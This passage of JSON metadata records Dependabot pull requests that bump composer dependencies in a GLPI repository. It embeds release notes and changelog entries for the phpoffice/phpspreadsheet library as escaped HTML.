href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4655\"\u003e#4655\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4655\"\u003ePHPOffice/PhpSpreadsheet#4655\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore sophisticated workbook password algorithms (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003e#4673\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003ePHPOffice/PhpSpreadsheet#4673\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4675\"\u003e#4675\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4675\"\u003ePHPOffice/PhpSpreadsheet#4675\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4d597c1aacdde1805a33c525b9758113ea0d90df\"\u003e\u003ccode\u003e4d597c1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4722\"\u003e#4722\u003c/a\u003e from oleibman/changelog20251124\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/71d77fadee4644f9014f1c11fbf563bfc330b8f3\"\u003e\u003ccode\u003e71d77fa\u003c/code\u003e\u003c/a\u003e Prepare Changelog for Next Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/95b83f499b033b37d2ec2b9507f7eea1da818011\"\u003e\u003ccode\u003e95b83f4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4717\"\u003e#4717\u003c/a\u003e from oleibman/explicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/aa719cdb0240fd6b7591c03369f0cc4462cdbfa7\"\u003e\u003ccode\u003eaa719cd\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into explicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/98206d902866e7219a9bf2fc4e2a760c8a956001\"\u003e\u003ccode\u003e98206d9\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4719\"\u003e#4719\u003c/a\u003e from oleibman/formalphp85try2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/66422b11b40ce292815526f6c4b8428d8761022a\"\u003e\u003ccode\u003e66422b1\u003c/code\u003e\u003c/a\u003e Formal Support for Php8.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78190ffdb68844ff7823c64883d56dbcfd7dfe86\"\u003e\u003ccode\u003e78190ff\u003c/code\u003e\u003c/a\u003e Prepare to Deprecate Optionality of Second Arg to Cell::setValueExplicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1e4038743823979213f9f880f1b3fc00ff4679aa\"\u003e\u003ccode\u003e1e40387\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e from RobinvanderVliet/add-bahttext-function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/576577040c6c7a1162a703d3a6980b5baf479b1c\"\u003e\u003ccode\u003e5765770\u003c/code\u003e\u003c/a\u003e Support PHP 8.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2a00c5d7df331e5f4ae811ebcde4053c97880e2\"\u003e\u003ccode\u003ec2a00c5\u003c/code\u003e\u003c/a\u003e Fix indentation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/4.3.1...5.3.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=4.3.1\u0026new-version=5.3.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e\n\n\u003e **Note**\n\u003e Automatic rebases have been disabled on this pull request as it has been open for over 30 days.\n","html_url":"https://github.com/orthagh/glpi/pull/850","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/orthagh%2Fglpi/issues/850","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/850/packages"}],"issue_packages":[{"old_version":"4.5.0","new_version":"5.7.0","update_type":"major","path":null,"pr_created_at":"2026-05-28T02:40:10.000Z","version_change":"4.5.0 → 5.7.0","issue":{"uuid":"4537279584","node_id":"PR_kwDOPzqJ_87gEmYB","number":422,"state":"closed","title":"build(deps): bump the composer group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-29T01:02:39.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-28T02:40:10.000Z","updated_at":"2026-05-29T01:02:41.000Z","time_to_close":80549,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"composer","update_count":8,"packages":[{"name":"phpoffice/phpspreadsheet","old_version":"4.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"name":"phpseclib/phpseclib","old_version":"3.0.50","new_version":"3.0.52","repository_url":"https://github.com/phpseclib/phpseclib"},{"name":"symfony/cache","old_version":"7.4.8","new_version":"7.4.13","repository_url":"https://github.com/symfony/cache"},{"name":"symfony/dom-crawler","old_version":"7.4.8","new_version":"7.4.12","repository_url":"https://github.com/symfony/dom-crawler"},{"name":"symfony/mailer","old_version":"6.4.34","new_version":"6.4.40","repository_url":"https://github.com/symfony/mailer"},{"name":"symfony/routing","old_version":"6.4.34","new_version":"6.4.41","repository_url":"https://github.com/symfony/routing"},{"name":"symfony/yaml","old_version":"7.4.8","new_version":"7.4.13","repository_url":"https://github.com/symfony/yaml"}],"path":null,"ecosystem":"packagist"},"body":"Bumps the composer group with 7 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) | `4.5.0` | `5.7.0` |\n| [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) | `3.0.50` | `3.0.52` |\n| [symfony/cache](https://github.com/symfony/cache) | `7.4.8` | `7.4.13` |\n| [symfony/dom-crawler](https://github.com/symfony/dom-crawler) | `7.4.8` | `7.4.12` |\n| [symfony/mailer](https://github.com/symfony/mailer) | `6.4.34` | `6.4.40` |\n| [symfony/routing](https://github.com/symfony/routing) | `6.4.34` | `6.4.41` |\n| [symfony/yaml](https://github.com/symfony/yaml) | `7.4.8` | `7.4.13` |\n\n\nUpdates `phpoffice/phpspreadsheet` from 4.5.0 to 5.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html optionally save formulas as data attributes. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4783\"\u003e#4783\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4783\"\u003ePHPOffice/PhpSpreadsheet#4783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUser-supplied headers and footers in PDF. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003e#3159\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3159\"\u003ePHPOffice/PhpSpreadsheet#3159\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4789\"\u003e#4789\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4789\"\u003ePHPOffice/PhpSpreadsheet#4789\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWriter/Html constant BODY_LINE no longer makes sense with a configurable line ending. No replacement.\u003c/li\u003e\n\u003cli\u003eCalculation classes FormulaParser and FormulaToken are unused. No replacement.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet methods insertBitMap, positionImage, writeObjPicture, processBitmapGd, and processBitmap are unused. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove performance in value binders. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4780\"\u003e#4780\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4780\"\u003ePHPOffice/PhpSpreadsheet#4780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eHandle Unions as Function Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003e#4656\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4656\"\u003ePHPOffice/PhpSpreadsheet#4656\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003e#316\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/316\"\u003ePHPOffice/PhpSpreadsheet#316\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003e#503\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/503\"\u003ePHPOffice/PhpSpreadsheet#503\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4657\"\u003e#4657\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4657\"\u003ePHPOffice/PhpSpreadsheet#4657\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Behavior of CONCATENATE. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca 